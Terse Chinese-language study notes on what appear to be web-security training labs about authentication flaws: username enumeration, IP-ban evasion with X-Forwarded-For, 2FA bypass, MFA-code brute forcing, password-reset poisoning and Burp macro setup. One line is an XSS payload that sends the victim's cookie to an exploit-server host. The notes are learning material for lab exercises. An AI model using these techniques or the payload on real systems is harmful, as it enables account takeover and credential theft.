给了可能的用户名密码
直接爆
access Carlos’s account page
登录步骤如下
/login1 验证用户名密码
/login2 发验证码 验证验证码
其中访问login2的时候会带上cookie
猜测当vertify的值为carlos的时候 会向carlos的邮箱发验证码
然后post /login2 传mfa-code
由于没有限制 考虑爆破
重置密码的最后一个阶段 我们传的参数中带了username 尝试改为carlos
?
看了一下solution
是先跑的合法用户名 再爆的密码
过程如下
当账户不合法的时候返回的是
Invalid username or password.
合法的时候返回 Invalid username or password
相差一个.
然后得到账户再爆密码就快多了
加XFF
这个环境下username正确 密码越长响应时间越久
比较扯淡
登录失败三次ban ip
在ban ip之前登录正确可以重置计数器
开俩爆破 一个跑正确密码
另一个爆密码 加个延迟
先多多爆几次 把合法的用户爆出来
然后爆密码
这个没回显的就是正确的密码 等待一分钟后提交
莫名其妙完成的
回头去看solution
说是在carlos接收到验证码的时候
直接访问/my-account
我的理解是这里的登录分3步 login login2 然后重定向到my-account
在login2处直接访问my-account就跳过了login2的验证
cookie的构成是用户名:密码md5
<script>document.location='https://exploit-0a82002e033db374830b2db4013f00bd.exploit-server.net/exploit'+document.cookie</script>
看solution得知支持X-Forwarded-Host 可以使用它来将动态生成的重置链接指向任意域
当新密码不一致且密码正确的时候会报new pass do not match
密码错误的时候会报 Current password is incorrect
user换carlos爆
在爆破的时候要确保当前的cookie是可用的 不然会302到登录界面
用了json来传输密码
考虑把密码改成数组
学习burp宏的使用
add 一个 session rule
urlscope选择all
新建规则
新建宏
手动去完成一次登录操作 login -> login2
然后在宏里选择对应的数据包
test macro测试下POST login2是否返回200
200就说明操作对了
一路ok下去 回头设置intruder
确保一个线程
手动跳转一下